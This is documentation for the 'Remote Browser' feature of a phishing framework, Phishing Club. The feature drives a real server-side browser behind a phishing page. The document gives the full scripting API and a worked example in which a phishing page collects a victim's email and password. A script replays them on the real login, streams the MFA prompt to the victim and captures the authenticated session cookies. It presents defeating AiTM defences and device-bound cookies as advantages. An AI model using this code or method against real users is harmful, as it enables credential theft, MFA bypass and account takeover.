Remote Browser

Experimental. APIs and behaviour may change without notice.
Warning: enabling this feature only for users with server level trust.
A user with access to this feature can read files, execute code and more on the server. Only enable when the user is as trusted as the server administrator.

Remote Browser Phishing is a technique where the victim interacts with a phishing website that sends and reacts to events from a real remote browser in the background. The victim is interacting with a website you designed entirely, and you control what happens in the remote browser. It might seem familiar to tools such as CuddlePhish but it is not the same as the phishing page is not a stream of the remote target.

Some of the pros and cons when compared with AiTM phishing.

Pros

  • Bypasses AiTM defenses as the phishing is performed in a real remote browser
  • Defeats device bound cookies as the attacker can take control of the remote browser
  • Custom UI and flows give new opportunities for exploitative flows

Cons

  • Increased development time creating both the phishing page and the remote browser script
  • Increase in server resource consumption
  • New challenges: IP reputation and remote browser fingerprinting (bot detection) become the layer for attackers to bypass

Overview

The architecture consists of:

  • The phishing page is a static page served to the victim. It has no knowledge of the target site. You send events using rb.send(), and reacts to events coming back from the script using rb.on(). You design this page and its flow entirely yourself.
  • Remote Browser Script It receives events from the phishing page and decides what to do in the remote browser and which events to send back to the phishing page.
  • The server side browser is a CDP-compatible browser (Chrome, Edge, Brave, or any other Chromium based browser) running on the Phishing Club host or a remote container.
High level architecture overview
Remote Browser architecture: phishing page, remote browser script, and server side browser

Bot detection and configurations for popular targets

By default, the remote browser is detectable. No major bypass configuratons are baked in.

Bypassing bot detection is not a goal of this project. Phishing Club gives you the framework and you implement the bypass yourself. What works changes frequently and might be specific to the target.

Phishing Club does not provide any configurations for targets such as Microsoft or Google.

How It Works

  1. The recipient visits your phishing page. Phishing Club renders the page and replaces {{RemoteBrowserScript "name"}} with a WebSocket client script bound to that recipient's session ID.
  2. The injected script opens a WebSocket connection to the Phishing Club backend and sends the victim's viewport dimensions. The connection remains open for the lifetime of the session.
  3. The backend locates the saved script by name, starts a runner, and begins executing the JavaScript. The phishing page is now waiting for instructions; the script is waiting for events.
  4. When the victim interacts with the phishing page (submitting a form, clicking a button), the page can call rb.send("event", data). This sends events over WebSocket to the script.
  5. The script receives the event via waitForEvent() or an s.on() handler, performs the corresponding action in the real browser (navigating, typing, clicking), and reads the result.
  6. The script calls emit("event", data) to send a response back to the phishing page. The phishing page's rb.on() handler fires and updates the UI: showing the next step, displaying a message, or revealing a new form.
  7. This exchange continues until the script calls s.capture() to extract cookies and storage, which records a capture event in the campaign log.
  8. The script can then call s.keepAlive() to hold the browser available for operator takeover, or call s.close() to end the session.

Enabling the Feature

Remote Browser is disabled by default. To enable it, set enabled: true in the remote_browser block of config.json:

"remote_browser": {
  "enabled": true,
  "binary_path": "/usr/bin/chromium-browser"  // optional
}

If binary_path is not set, Phishing Club will automatically download a compatible Chromium build on first use. The first session will not start until the download and setup process completes — follow the server logs to track progress and confirm everything succeeds before expecting the browser to launch.

The downloaded Chromium binary depends on shared system libraries that may not be present on minimal or headless server installs. If the browser fails to start, enable chromeDebug: true in newSession() to surface the raw Chrome process output, which will list any missing libraries. On Debian/Ubuntu the typical missing packages are installed with:

apt-get install -y   libnss3 libatk1.0-0 libatk-bridge2.0-0 libcups2   libdrm2 libxkbcommon0 libxcomposite1 libxdamage1   libxfixes3 libxrandr2 libgbm1 libasound2

On systems where AppArmor restricts unprivileged user namespaces, Chromium cannot create the namespaces it needs for its internal sandbox. The Chrome process output will contain:

No usable sandbox!

To lift the restriction for the current boot:

sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0

To make the change persistent across reboots, create /etc/sysctl.d/99-chrome-sandbox.conf with the following content and then run sysctl --system:

kernel.apparmor_restrict_unprivileged_userns=0

Creating a Script

Navigate to Remote Browsers in the sidebar and click New.

  1. Name (Required): A unique name used to reference this script from page templates.
  2. Description (Optional): Short description.
  3. Script (Required): The Remote Browser script.
  4. Configuration: Browser settings configured through the Config tab.
    Use Local mode for production campaigns and Remote mode when developing scripts against a browser you already have running.
Remote Browser modal
Remote Browser script editor

After creating a script you can test it directly from the editor. The test runner executes the script and streams log messages, events, and screenshots to the editor panel in real time. The test run also registers as a live session, so you can open a stream view from the session panel while it runs.

Local test run of script including screenshots.
Test run output with live log and screenshot events

Testing

When running a Run / Test you can click View and Control to directly view, interact and send events to the remote browser.

Local test run of with remote control view.
Remote browser control view

Configuration

Configuration is set through the Config tab in the script editor. The fields available depend on the selected browser mode.

Browser Mode

The mode toggle switches between two ways of launching the browser:

  • Local spawns a new browser process on the Phishing Club host for each session. This is the mode to use for production campaigns.
  • Remote connects to a Chrome instance you launch and configure yourself. Each call to newSession() opens a new tab in that shared browser. This is the right mode for script development and testing: point it at a browser on your local machine so you can watch the automation happen live. Because all sessions share the same browser process, remote mode is not suitable for production campaigns with multiple simultaneous victims. Any CDP-compatible browser works: Chrome, Chromium, Edge, Brave, and others.

Local Mode Fields

Field Default Description
Proxy Upstream proxy for the server side browser: socks5://host:port or http://host:port.
Headless On Run the browser without a visible window.
Language BCP 47 locale, e.g. en-US or da-DK. Sets Chrome's --lang and --accept-lang flags so navigator.language, navigator.languages, and the Accept-Language header are consistent across the main frame and Web Workers. Leave empty to use the browser's default locale.
Flags Additional Chrome CLI flags, one per line. --flag=value adds or overrides a flag; !--flag removes a flag from the default set entirely. Example: --use-gl=egl or !--disable-background-networking.

Remote Mode Fields

Field Description
Remote DevTools URL The DevTools endpoint of the running browser. Accepts a bare port (9222), http://host:port, or a full ws:// URL. Phishing Club resolves the actual WebSocket address automatically. Start Chrome with --remote-debugging-port=9222 to enable remote debugging.

Timeout

The Timeout field (in minutes, default 5) sets a global deadline for the entire script. When the deadline is reached, the script is cancelled and the browser is closed. Set a longer timeout for flows that depend on slow victim interaction.

Script API

Scripts run in an ECMAScript 5.1-compatible JavaScript VM. All API calls are synchronous and blocking. Each call waits for the operation to complete before the next line executes.

There is no event loop. setTimeout and setInterval are not available.

Global Functions

Function Description
newSession(opts?) Launches a browser and returns a session object. All options override the saved configuration for this session only:
  • proxy — upstream proxy URL (socks5:// or http://)
  • remote — DevTools endpoint of an existing browser (accepts port, http://host:port, or full ws:// URL)
  • headless — run without a visible window
  • lang — BCP 47 locale, e.g. "da-DK"; sets Chrome's --lang and --accept-lang flags so navigator.language, navigator.languages, and Accept-Language are consistent across the main frame and Web Workers; local mode only
  • extraFlags — string array of additional Chrome CLI flags, e.g. ["--use-gl=egl"]; prefix with ! to remove a flag ("!--disable-background-networking"); local mode only
  • idleTimeout — ms; close the browser if no events arrive from the phishing page for this long
  • debug — emit a log line before and after every action
  • chromeDebug — stream Chrome process stdout/stderr into the event log
  • queryTimeout — ms; cap how long read-only CDP calls wait for a response
  • userAgent — override the User-Agent header
waitForEvent(event) Blocks until the phishing page calls rb.send(event, data). Returns the data payload.
waitForAny(events) Blocks until any of the named events arrives. Accepts an array or individual arguments. Returns { event, data } for whichever arrives first.
emit(event, data) Sends an event to the phishing page. The page receives it via rb.on(event, fn).
log(msg, data?) Emits a log line visible in the script runner panel and the live session stream.
info(message) Records a plain text note in the campaign timeline for this recipient. Use it to annotate progress milestones (e.g. info("navigated to dashboard")). Visible in the campaign log but not forwarded to the phishing page.
submitData(data) Saves an arbitrary object (credentials, tokens, form values) as a submitted data event in the campaign timeline. Use this when you want to record captured values explicitly rather than via s.capture(). The data is visible in the campaign log but not forwarded to the phishing page.
retry(max, fn) Calls fn(ctx) up to max times. Return a truthy value from fn to stop looping; retry returns that value. Return false or nothing to keep looping. Returns null if all attempts are exhausted. ctx has attempt (starts at 1), max, isFirst, and isLast. Pass an options object instead of a number to add a wait between attempts: retry({ max: 5, wait: 1000 }, fn).

Session Methods

newSession() returns a session object. All selectors use CSS query syntax.

Navigation

Method Description
s.navigate(url) Navigates to a URL and waits for the body element to become visible.
s.navigateBack() Goes back one entry in the browser history.
s.navigateForward() Goes forward one entry in the browser history.
s.reload() Reloads the current page.
s.stop() Stops the current page load.
s.location() Returns the current URL as a string.
s.title() Returns the current page title as a string.
s.waitURLContains(str) Blocks until the page URL contains str. Returns the full URL.
s.waitURLMatch(re) Blocks until the page URL matches the regex re. Returns the full URL.

Waiting

All wait* methods search the main page document and all iframes automatically, including cross origin iframes (OOPIFs such as reCAPTCHA, Google Sign-In, and other embedded third party widgets). An optional trailing options object controls the scope:

Option Default Description
frames true Set to false to search only the main page document and skip all iframes.
frame CSS selector for a specific <iframe> element. When set, only that iframe's document is searched.
// default: search main page + all iframes
s.waitVisible("#g-recaptcha-response");

// search only the main page
s.waitVisible("input[name='email']", { frames: false });

// search only a specific iframe
s.waitVisible("input[name='identifier']", { frame: "iframe[src*='accounts.google.com']" });
Method Description
s.waitVisible(...sels) Blocks until any of the given selectors is visible. Returns the matched selector.
s.waitReady(...sels) Blocks until any of the given selectors is visible and enabled. Returns the matched selector.
s.waitEnabled(...sels) Blocks until any of the given selectors is enabled. Returns the matched selector.
s.waitSelected(...sels) Blocks until any of the given selectors has a selected option. Returns the matched selector.
s.waitNotVisible(...sels) Blocks until any of the given selectors is no longer visible. Returns the matched selector.
s.waitNotPresent(...sels) Blocks until any of the given selectors is absent from the DOM. Returns the matched selector.

Frame sessions

s.frame(selector) returns a frame session scoped to the <iframe> matching selector. Unlike the { frame: "sel" } wait option - which narrows a single wait call - a frame session lets you perform multiple operations inside one iframe without repeating the selector. Nested iframes are supported: call .frame() again on the returned frame session. Returns null if the iframe is not found or cannot be resolved.

// Access a Google Sign-In iframe directly
var googleFrame = s.frame("iframe[src*='accounts.google.com']");
if (googleFrame) {
  googleFrame.waitVisible("input[type='email']");
  googleFrame.sendKeys("input[type='email']", "victim@example.com");
  googleFrame.click("#identifierNext");
}

// Nested iframes
var outer = s.frame("#outer-frame");
if (outer) {
  var inner = outer.frame("#inner-frame");
  if (inner) { inner.sendKeys("#captcha-input", "abc123"); }
}

The frame session exposes the same DOM, waiting, and interaction methods as the main session. Methods not available on frame sessions: capture, keepAlive, close, on, listen, done, race, stream.

Race

s.race(conditions) polls DOM conditions, URL changes, and incoming victim events simultaneously and returns as soon as any condition is met. Each key in the conditions object is a label you choose; each value specifies what to wait for.

Condition key Fires when value in result
{ visible: sel } Element has a non-zero bounding box (same as waitVisible) matched selector
{ ready: sel } Element is visible and not disabled (same as waitReady) matched selector
{ enabled: sel } Element is not disabled (same as waitEnabled) matched selector
{ present: sel } Element exists anywhere in the DOM matched selector
{ notVisible: sel } Element has a zero bounding box or is absent (same as waitNotVisible) matched selector
{ notPresent: sel } Element is absent from the DOM (same as waitNotPresent) matched selector
{ urlContains: str } Page URL contains str full URL string
{ urlMatch: /re/ } Page URL matches regex /re/ full URL string
{ event: name } Victim page calls rb.send(name, data) event payload

Returns { key, value } for whichever condition fires first. Events received during the race that do not match any condition are buffered and remain available to subsequent waitForEvent calls.

var r = s.race({
  password: { urlContains: '/challenge/pwd' },
  mfaOrPwd: { urlMatch: /\/challenge\/(pwd|totp)/ },
  emailErr: { visible: '[aria-invalid="true"]' },
  retry:    { event: 'retry_email' }
});
if (r.key === 'password') { ... }
if (r.key === 'emailErr') { emit('email_error', {}); }
if (r.key === 'retry')    { /* r.value is the event payload */ }

Mouse

Action methods (click, sendKeys, setValue, etc.) automatically search the main page and all iframes to find the target element. If the selector matches an element inside a cross origin iframe the action is dispatched into that iframe's document.

Method Description
s.click(sel) Clicks the element.
s.doubleClick(sel) Double-clicks the element.
s.clickXY(x, y) Clicks at the given page coordinates.
s.scrollIntoView(sel) Scrolls the element into the viewport.

Keyboard

Method Description
s.sendKeys(sel, text) Focuses the element and types text character by character.
s.keyEvent(key) Dispatches a key event by name (e.g. "Enter", "Tab").

Forms

Method Description
s.clear(sel) Clears the value of an input or textarea, firing the native input and change events so React and Vue update cycles trigger.
s.focus(sel) Focuses the element.
s.blur(sel) Removes focus from the element.
s.submit(sel) Submits the form containing the element.
s.setValue(sel, value) Sets the value of a form element directly without simulating keystrokes.
s.getValue(sel) Returns the current value of a form element.

DOM

Method Description
s.getText(sel) Returns the visible text of the element.
s.getTextContent(sel) Returns the textContent of the element, including hidden text.
s.getInnerHTML(sel) Returns the inner HTML of the element.
s.getOuterHTML(sel) Returns the outer HTML of the element.
s.getAttribute(sel, attr) Returns the value of the named HTML attribute, or null if absent.
s.getAttributes(sel) Returns all attributes of the element as a name/value object.
s.setAttribute(sel, attr, value) Sets the value of an HTML attribute.
s.removeAttribute(sel, attr) Removes an attribute from the element.
s.getJSAttribute(sel, prop) Returns a JavaScript property from the element (e.g. checked, selectedIndex).
s.setJSAttribute(sel, prop, value) Sets a JavaScript property on the element.
s.getNodeCount(sel) Returns the number of matching elements. Returns 0 immediately if none exist; does not wait.
s.evaluate(expr) Evaluates a JavaScript expression in the page context and returns the result.

Screenshots and DOM Capture

Method Description
s.screenshot(name) Takes a full page screenshot and emits it as a named event visible in the runner panel.
s.screenshotElement(sel, name) Takes a screenshot of a specific element.
s.domDump(name) Captures document.documentElement.outerHTML and emits it as a named dom_dump event visible in the runner panel. Not forwarded to the victim page.

Viewport and Emulation

Method Description
s.setViewport(width, height) Sets the viewport size in CSS pixels.
s.setViewportMobile(width, height) Sets the viewport with mobile and touch emulation enabled.
s.resetViewport() Resets viewport emulation to the browser default.
s.setUserAgent(ua) Overrides the browser user agent string.
s.setAcceptLanguage(lang) Overrides the Accept-Language HTTP header and navigator.language / navigator.languages in the main frame via CDP. Useful for remote mode sessions where Chrome's --lang flag cannot be set. Note: Web Workers read Chrome's process level locale, so for fully consistent language signals across frame and workers, use the lang option in newSession() instead.

Utility

Method Description
s.wait(ms) Pauses execution for the given number of milliseconds.
s.disableFidoUI() Enables the CDP WebAuthn virtual authenticator environment. Chrome intercepts WebAuthn/FIDO requests via CDP instead of showing the native passkey dialog, keeping DOM interactions possible on pages that trigger FIDO flows.
s.injectScript(js) Registers a JavaScript snippet that runs before any page scripts on every subsequent navigation (CDP Page.addScriptToEvaluateOnNewDocument). Call this before navigate() so the injection is active from the first load. Scoped to this page only - does not affect other tabs or sessions. Typical use: normalise fingerprint signals (speechSynthesis, WebGL renderer, etc.) before bot detection probes fire.
s.withTimeout(ms, fn) Runs fn(tempSession) with a deadline. The temporary session passed to fn shares the same browser tab but its operations time out after ms. Returns true if fn completed before the deadline, false if it timed out. Does not cancel the main session on timeout.
s.close() Closes the browser. Any subsequent calls on the session will panic.

Session Lifecycle

Method Description
s.keepAlive() Non blocking. Marks the session as available for live streaming and operator takeover, cancels the script timeout so the browser stays alive indefinitely, and returns immediately so the script can continue (e.g. call emit() after it). The server parks the session after the script finishes and waits for an operator to terminate it.
s.on(event, fn) Registers a handler for a named event. Must be called before s.listen().

Built-in lifecycle events emitted automatically by the server:
  • "disconnect" — fires when the victim closes their browser or navigates away. Use this with keepAlive() to capture a screenshot or dump the DOM at the moment the session ends. No event data.
  • "navigate" — fires whenever the server browser's main frame navigates to a new URL (full navigation or pushState). Event data: { url: string }. Useful for detecting when the victim reaches a post-login page without polling.
All other event names are victim-page events sent via rb.emit(name, data).
s.listen() Enters the event dispatch loop, calling registered handlers as events arrive. Blocks until s.done() is called, the context is cancelled, or the idle timeout fires.
s.done() Exits the s.listen() loop.

Cookie and Storage Capture

s.capture(opts?) extracts cookies and browser storage from the server side browser via CDP. The result is saved as a capture event in the campaign log (the same place proxy cookie captures appear) and returned to the script so it can inspect or forward the data.

s.capture({
    domains:        ["example.com"],     // filter cookies to these domains
    cookieNames:    ["session", "auth"], // keep only cookies with these names
    localStorage:   true,               // include localStorage (default: true, false if domains set)
    sessionStorage: true                // include sessionStorage (default: true, false if domains set)
});
Option Type Default Description
domains string[] Restrict cookie retrieval to these domains. Phishing Club builds HTTPS URLs for each domain and uses the CDP Network.getCookies call. Leading dots are stripped.
cookieNames string[] After domain filtering, keep only cookies whose name appears in this list.
localStorage bool true (false if domains set) Include the page's localStorage in the capture.
sessionStorage bool true (false if domains set) Include the page's sessionStorage in the capture.

Captured data can be imported into browsers using the Session Sushi extension, the same workflow as proxy cookie captures.

Live Streaming to the Phishing Page

The script can stream a cropped, live view of any element in the server side browser directly to the victim's phishing page as JPEG frames over WebSocket. This lets you show the victim real content from the target site (an MFA QR code, a CAPTCHA, a code entry field) without their browser ever connecting to it. The phishing page renders the frames on a <canvas> element and forwards mouse and keyboard input back to the server side browser. As the stream is a set of images and not a WebRTC stream is can be both costly in performance and laggy depending on what is being streamed.

// Start streaming a specific element to the phishing page
var handle = s.stream("div#mfa-container", "mfa", { maxFps: 10, quality: 80 });

// Stop when done
handle.stop();
Parameter Type Description
selector string CSS selector for the element to capture and stream.
name string Stream identifier. The phishing page uses this name in rb.mountStream(name, el) to attach the canvas.
maxFps int Maximum frame rate. 0 means unlimited (default).
quality int JPEG quality 1-100. 0 uses the default of 92.

Victim-side Integration

Template Function

Add this template function call anywhere in a phishing page to inject the remote browser client:

{{RemoteBrowserScript "remote-browser-script-name"}}

Phishing Club looks up the script by name within the current company context and renders a <script> tag bound to the recipients session. During template validation or preview the function renders as an empty string.

window.rb API

After the script tag loads, window.rb (alias window.remoteBrowser) is available on the phishing page with the following interface.

Method Description
rb.send(event, data) Sends an event with a data payload to the server side script. The script receives it via waitForEvent(event) or an s.on(event, fn) handler.
rb.on(event, fn) Registers a handler for events emitted by the script with emit(event, data). fn receives the data payload.
rb.on("stream_start", name, fn) Fires when the server starts streaming the element named name. The handler receives (cssWidth, cssHeight). Call rb.mountStream(name, el) inside the handler to attach a canvas.
rb.on("stream_stop", name, fn) Fires when the server stops the named stream.
rb.mountStream(name, el, opts?) Creates a <canvas> inside el that receives JPEG frames for the named stream and forwards mouse and keyboard events back to the server. Options: autoSize (resize the container element to match the stream dimensions, default false), scroll (forward scroll wheel events, default false), arrowKeys (forward arrow key events, default false).

Session Lifecycle Events

The server automatically emits the following events to the phishing page when the session ends. Register handlers with rb.on() to redirect the victim or show a message when each condition occurs.

Event When it fires
done Script completed normally (the script reached its last line).
session_timeout The global script timeout was reached. The browser has been closed. Use this to redirect the victim to a neutral page rather than leaving them on a broken form.
session_closed The session was terminated by an operator (via Terminate in the live session panel). The browser has been closed.

Example: Credential and MFA Capture

The victim submits credentials on the phishing page. The script replays them on the real site, waits for the MFA prompt, streams it into the phishing page so the victim completes it, then captures the authenticated session.

Phishing page (HTML)

<div id="step-login">
  <input id="inp-user" type="text" placeholder="Email" />
  <input id="inp-pass" type="password" placeholder="Password" />
  <button id="btn-login">Sign in</button>
</div>

<div id="step-mfa" style="display:none">
  <p>Complete the verification below.</p>
  <div id="mfa-canvas-host"></div>
</div>

{{RemoteBrowserScript "corp-sso"}}

<script>
document.getElementById("btn-login").addEventListener("click", function() {
  rb.send("credentials", {
    username: document.getElementById("inp-user").value,
    password: document.getElementById("inp-pass").value
  });
});

rb.on("mfa_required", function() {
  document.getElementById("step-login").style.display = "none";
  document.getElementById("step-mfa").style.display   = "block";
});

rb.on("stream_start", "mfa", function() {
  rb.mountStream("mfa", document.getElementById("mfa-canvas-host"), { autoSize: true });
});

rb.on("done", function() {
  window.location.href = "{{.URL}}";
});
</script>

Server-side script

var s = newSession();
s.navigate("https://sso.corp.example/login");
s.waitVisible("input[name='email']");

var creds = waitForEvent("credentials");
s.sendKeys("input[name='email']", creds.username);
s.click("button[type='submit']");

s.waitVisible("input[name='password']");
s.sendKeys("input[name='password']", creds.password);
s.click("button[type='submit']");

// MFA prompt appeared - stream it to the phishing page for the victim to complete
s.waitVisible("div.mfa-prompt");
emit("mfa_required", {});
var mfaStream = s.stream("div.mfa-prompt", "mfa", { maxFps: 15 });
s.waitNotPresent("div.mfa-prompt");
mfaStream.stop();

s.waitVisible("div.dashboard");
s.capture({ domains: ["corp.example"] });
emit("done", {});
s.close();

Live Sessions

When a recipient's script is running, the campaign detail page polls for active sessions every five seconds and shows a Remote column in the recipients table. A badge on each row indicates whether the victim's browser tab is still open and connected.

Live badge and action menu
Live session controls in the campaign recipients table

The following actions are available on a live session:

  • View: Opens a read-only stream of the server side browser's active tab. You can watch what the browser is doing in real time without sending any input.
  • Control: Opens the same stream in control mode. Mouse clicks, movement, scroll, and keyboard input on the stream canvas are forwarded to the server side browser, allowing you to take over the session manually.
  • Terminate: Cancels the script context, closes the browser, and ends the victim's WebSocket connection.

View and Control are only available once the script has called newSession() and the browser context is ready. A script that calls s.keepAlive() holds the browser open indefinitely for operator takeover. Test runs launched from the editor also register as live sessions and can be viewed while the test is in progress.

Tab management

When the victim (or the script) opens a new tab, the stream automatically switches to it. A tab bar appears above the URL bar whenever more than one tab is open, showing the hostname of each tab. Clicking a tab switches the stream to it in both View and Control modes. Each tab has a × button to close it; closing a tab that was active automatically switches the stream to another open tab.

Live remote session control
Live session control view

Upgrading from 1.35

Installations upgrading from 1.35 must update the systemd service file before Remote Browser will work. Three hardening directives that block Chromium were removed or relaxed in 1.36:

Change Reason
AF_NETLINK added to RestrictAddressFamilies Chromium requires netlink sockets for udev device enumeration
RestrictNamespaces=true removed Chromium uses namespaces for its internal sandbox
MemoryDenyWriteExecute=true removed V8 JIT requires write and execute memory

1. Open the service file:

systemctl edit --full phishingclub

2. Update the relevant lines so they match:

RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK
RestrictRealtime=true
RestrictSUIDSGID=true

Remove the RestrictNamespaces and MemoryDenyWriteExecute lines entirely.

3. Reload and restart:

systemctl daemon-reload && systemctl restart phishingclub

New installations via the built-in installer are not affected.